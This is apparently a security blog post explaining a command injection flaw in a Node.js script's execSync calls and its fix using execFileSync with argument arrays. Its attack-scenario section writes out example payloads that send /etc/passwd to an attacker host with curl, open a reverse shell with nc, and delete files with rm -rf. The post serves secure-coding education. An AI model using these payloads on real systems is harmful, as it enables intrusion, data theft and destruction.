Back to Blog
high SEVERITY7 min read

How Command Injection happens in Node.js child_process calls and how to fix it

A command injection vulnerability was discovered in `scripts/check-publish-status.js` where the `version` parameter was interpolated directly into shell commands via `execSync`. By switching to `execFileSync` with argument arrays, the fix eliminates shell interpretation entirely, preventing any attacker-controlled input from being executed as shell commands.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js, found in `scripts/check-publish-status.js` at line 27. The `version` function argument was interpolated directly into shell commands using `execSync` template literals, allowing shell metacharacters to execute arbitrary commands. The fix replaces `execSync` with `execFileSync` and passes arguments as an array, bypassing the shell entirely so no interpolation can occur.

Vulnerability at a Glance

cweCWE-78
fixReplaced execSync template literals with execFileSync and argument arrays to bypass shell interpretation
riskArbitrary OS command execution if version input is attacker-controlled
languageJavaScript (Node.js)
root causeUser-supplied `version` argument interpolated into shell command string passed to execSync
vulnerabilityCommand Injection via child_process.execSync

The Problem with Shell Strings and Version Numbers

The scripts/check-publish-status.js file in the mcp-wordpress package performs a routine task: checking whether a given package version has been published to NPM. It accepts a version argument and uses it to query the NPM registry. Simple enough — but the way that version was woven into shell commands created a high-severity command injection vulnerability.

At line 27, the original code used Node.js's execSync to run npm commands, building the command string by directly interpolating the version parameter:

execSync(`npm view ${PACKAGE_NAME}@${version} version`, {
  encoding: "utf-8",
});

This pattern — a template literal containing an external variable passed to execSync — is exactly the kind of construct that Semgrep's javascript.lang.security.detect-child-process.detect-child-process rule is designed to catch. And for good reason.


The Vulnerability Explained

What Makes This Dangerous

execSync works by passing the entire string to the system shell (/bin/sh on Unix, cmd.exe on Windows). The shell then parses and executes it. That means any shell metacharacters present in the string — ;, &&, |, $(), backticks — are interpreted as shell syntax, not as data.

Here's the vulnerable code pattern in full context:

// VULNERABLE — before the fix
async function checkNPM(version) {
  // ...
  if (version) {
    try {
      execSync(`npm view ${PACKAGE_NAME}@${version} version`, {
        encoding: "utf-8",
      });
      console.log(`✅ Version ${version} exists on NPM`);
    } catch {
      console.log(`❌ Version ${version} NOT found on NPM`);
      return false;
    }
  }

  const publishTime = execSync(`npm view ${PACKAGE_NAME} time.${version || npmVersion}`, {
    encoding: "utf-8",
  }).trim();

The version variable flows directly into two separate execSync calls. If an attacker can control the value of version, they control what the shell executes.

A Concrete Attack Scenario

Imagine this script is called programmatically by a CI/CD pipeline, a webhook handler, or a parent process that accepts external input:

node scripts/check-publish-status.js "1.0.0; curl https://attacker.com/exfil?data=$(cat /etc/passwd) #"

The shell would see:

npm view mcp-wordpress@1.0.0; curl https://attacker.com/exfil?data=$(cat /etc/passwd) # version

The semicolon terminates the npm command, and the curl command runs in the same shell context — exfiltrating /etc/passwd to an attacker's server. The # comments out the trailing version argument to avoid syntax errors.

More subtle injections are also possible:

// version = "1.0.0 && rm -rf /tmp/important-data"
// version = "1.0.0 | nc attacker.com 4444 -e /bin/sh"

Real-World Impact for This Package

mcp-wordpress is a Node.js library consumed by downstream users. While this script lives in the scripts/ directory and is primarily a developer utility, the risk is real in several scenarios:

  • Automated release pipelines that pass version strings from external sources (GitHub webhooks, API responses, user input) into this script
  • CI/CD systems where the version parameter originates from a pull request title, tag name, or environment variable that an attacker could influence
  • Chained exploits where another vulnerability in the codebase allows an attacker to influence the version argument passed to checkNPM()

Even if the immediate exploitability is low, this is an exploit primitive — a code pattern that automated attack tooling can identify and chain with other weaknesses.


The Fix

Switching from execSync to execFileSync

The fix is elegant and complete: replace every execSync shell-string call with execFileSync using an argument array.

Before (vulnerable):

execSync(`npm view ${PACKAGE_NAME}@${version} version`, {
  encoding: "utf-8",
});

After (fixed):

execFileSync("npm", ["view", PACKAGE_NAME + "@" + version, "version"], {
  encoding: "utf-8",
});

And for the publish time check:

Before (vulnerable):

const publishTime = execSync(`npm view ${PACKAGE_NAME} time.${version || npmVersion}`, {
  encoding: "utf-8",
}).trim();

After (fixed):

const publishTime = execFileSync("npm", ["view", PACKAGE_NAME, "time." + (version || npmVersion)], {
  encoding: "utf-8",
}).trim();

Why This Works

execFileSync (and its sibling spawnSync) do not invoke a shell. Instead, they call the OS's execve system call directly, passing arguments as a proper array. The operating system hands each array element to the process as a discrete argument — no shell parsing, no metacharacter interpretation, no interpolation.

If version contains ; rm -rf / when passed to execFileSync, npm receives the literal string mcp-wordpress@; rm -rf / as its argument and will simply fail to find a package with that name. The shell never sees it.

Aspect execSync (before) execFileSync (after)
Shell invoked? ✅ Yes ❌ No
Metacharacters interpreted? ✅ Yes ❌ No
Arguments separated safely? ❌ No (string concat) ✅ Yes (array)
Command injection possible? ✅ Yes ❌ No

The fix also removes template literals from the console.log calls, replacing them with string concatenation. While this doesn't affect security directly (template literals in log statements are safe), it's consistent defensive hygiene that eliminates the visual pattern of interpolation throughout the function.


Prevention & Best Practices

1. Always Prefer execFileSync / spawnSync Over execSync

The rule is simple: if you don't need a shell, don't use one.

// ❌ Dangerous — invokes shell
execSync(`git log --oneline ${userInput}`);

// ✅ Safe — no shell, arguments are data
execFileSync("git", ["log", "--oneline", userInput]);

2. If You Must Use execSync, Validate Strictly

If you have a legitimate reason to use execSync, apply strict allowlist validation before interpolation:

// Only allow semver-formatted version strings
const SEMVER_PATTERN = /^\d+\.\d+\.\d+(-[a-zA-Z0-9.]+)?$/;

if (!SEMVER_PATTERN.test(version)) {
  throw new Error(`Invalid version format: ${version}`);
}
execSync(`npm view package@${version} version`);

Note: This is defense-in-depth, not a replacement for execFileSync. Validation can be bypassed; argument arrays cannot be.

3. Use Static Analysis in Your CI Pipeline

Semgrep's rule javascript.lang.security.detect-child-process.detect-child-process caught this vulnerability automatically. Add Semgrep to your CI pipeline:

# .github/workflows/security.yml
- name: Run Semgrep
  uses: semgrep/semgrep-action@v1
  with:
    config: p/nodejs

4. Audit All child_process Imports

Any file that imports from child_process deserves a security review. Search your codebase:

grep -rn "child_process" --include="*.js" --include="*.ts" .
grep -rn "execSync\|exec\b\|spawn" --include="*.js" --include="*.ts" .

5. Relevant Security Standards

  • OWASP A03:2021 – Injection: Command injection is a member of the injection family, the third most critical web application risk
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • CWE-88: Improper Neutralization of Argument Delimiters in a Command (Argument Injection)

Key Takeaways

  • execSync with template literals is inherently dangerous — every use of execSync(\...\${variable}...`)` is a potential command injection waiting for the right input path
  • The version parameter in checkNPM() was the specific taint source — it flowed unsanitized into two separate shell commands in check-publish-status.js
  • execFileSync with argument arrays is the correct fix, not input sanitization — bypassing the shell entirely is categorically safer than trying to sanitize shell metacharacters
  • Developer utility scripts are not immune to security review — scripts in the scripts/ directory can be called programmatically and deserve the same scrutiny as application code
  • Exploit primitives matter even when not immediately exploitable — this pattern could be chained with other weaknesses by automated attack tools, making proactive removal valuable

How Orbis AppSec Detected This

  • Source: The version function argument in checkNPM(version) — a string parameter that could originate from command-line input, CI/CD pipeline variables, or programmatic callers
  • Sink: execSync(\npm view ${PACKAGE_NAME}@${version} version`)atscripts/check-publish-status.js:27` — a shell execution call that interpolates the tainted value directly into the command string
  • Missing control: No validation, sanitization, or allowlist check on version before interpolation; no use of shell-bypassing APIs
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Replaced both execSync template literal calls with execFileSync plus argument arrays, eliminating shell interpretation entirely

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

A single function — checkNPM(version) in scripts/check-publish-status.js — contained two instances of a high-severity command injection pattern. The root cause was straightforward: using execSync with template literals that included an unsanitized function argument. The fix was equally straightforward: switch to execFileSync with argument arrays.

What makes this case instructive is that the script's purpose is benign (checking publish status) and the argument seems innocuous (a version string). But security vulnerabilities don't care about intent. Any time external data flows into a shell command string, the door is open for injection.

The lesson for Node.js developers: treat every execSync call with a variable in the string as a code smell. Reach for execFileSync or spawnSync by default, reserve shell execution for cases where you genuinely need shell features (pipes, globbing, redirects), and when you do use it, validate input with a strict allowlist first.


References

Frequently Asked Questions

What is command injection in Node.js?

Command injection occurs when user-controlled input is embedded in a shell command string. In Node.js, this typically happens with child_process.execSync() where template literals include unsanitized variables, allowing shell metacharacters like `;`, `&&`, or `|` to execute additional commands.

How do you prevent command injection in Node.js?

Use execFileSync or spawnSync instead of execSync, and pass arguments as an array rather than a shell string. These functions bypass the shell entirely, so metacharacters in input are treated as literal strings rather than shell syntax.

What CWE is command injection?

Command injection maps to CWE-78: Improper Neutralization of Special Elements used in an OS Command. It is also related to CWE-88 (Argument Injection) when arguments are passed unsafely.

Is input validation enough to prevent command injection in Node.js?

Input validation helps but is not sufficient on its own. The most reliable fix is to avoid shell interpretation entirely by using execFileSync with argument arrays. Relying solely on allowlists or regex validation can be bypassed through encoding or edge cases.

Can static analysis detect command injection in Node.js?

Yes. Tools like Semgrep have rules specifically targeting child_process calls that include function arguments in command strings. The rule `javascript.lang.security.detect-child-process.detect-child-process` flagged exactly this pattern in this codebase.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #231

Related Articles

high

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `Config/QuickAdd/git-add-new-origin-branch.js`, where user-supplied branch names were interpolated directly into a shell command string passed to `child_process.exec()`. The fix replaces the shell-interpolated `exec()` call with `execFile()`, passing arguments as a discrete array and eliminating the shell entirely. This proactive hardening removes an exploit primitive that could have been chained with other weaknesses to achieve a

high

How Command Injection happens in PHP shell execution and how to fix it

A command injection vulnerability in `sitrecServer/windProxy.php` allowed user-controlled input to reach a shell command without proper sanitization, creating a remote code execution risk. The `$cycleHour` parameter was passed directly as a format integer (`%d`) into a `sprintf`-built shell command, bypassing the `escapeshellarg()` protection applied to all other arguments. The fix casts `$cycleHour` to an integer and wraps it with `escapeshellarg()`, closing the injection path entirely.

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) in the `shell-quote` npm package versions prior to 1.8.4 allowed attackers to execute arbitrary code by injecting unescaped line terminators into shell arguments. The fix upgrades `shell-quote` from 1.8.2 to 1.9.0 and pins the dependency across `package.json`, `package-lock.json`, and `yarn.lock` to ensure no transitive dependency can pull in the vulnerable version.

high

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

The `shell-quote` package (versions prior to 1.9.0) contained a critical command injection vulnerability where unescaped line terminators in shell arguments could be exploited to inject arbitrary commands. This vulnerability was discovered in the docs-site dependency tree and fixed by upgrading to version 1.9.0, which properly escapes line terminators to prevent attackers from breaking out of quoted arguments and executing malicious shell commands.

critical

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package version 1.8.3, where unescaped line terminators could allow attackers to execute arbitrary code. This fix upgrades shell-quote to version 1.9.0 using npm overrides to ensure all instances in the dependency tree are patched, eliminating the attack vector across the entire application.

high

How Command Injection happens in PHP and how to fix it

A high-severity command injection vulnerability was discovered in `lib/Controller/Helper.php` where the `corruptline()` method used `exec()` to run sed and awk commands with user-controlled input. The fix replaced all shell command execution with native PHP file operations using `SplFileObject`, eliminating the command injection attack surface entirely.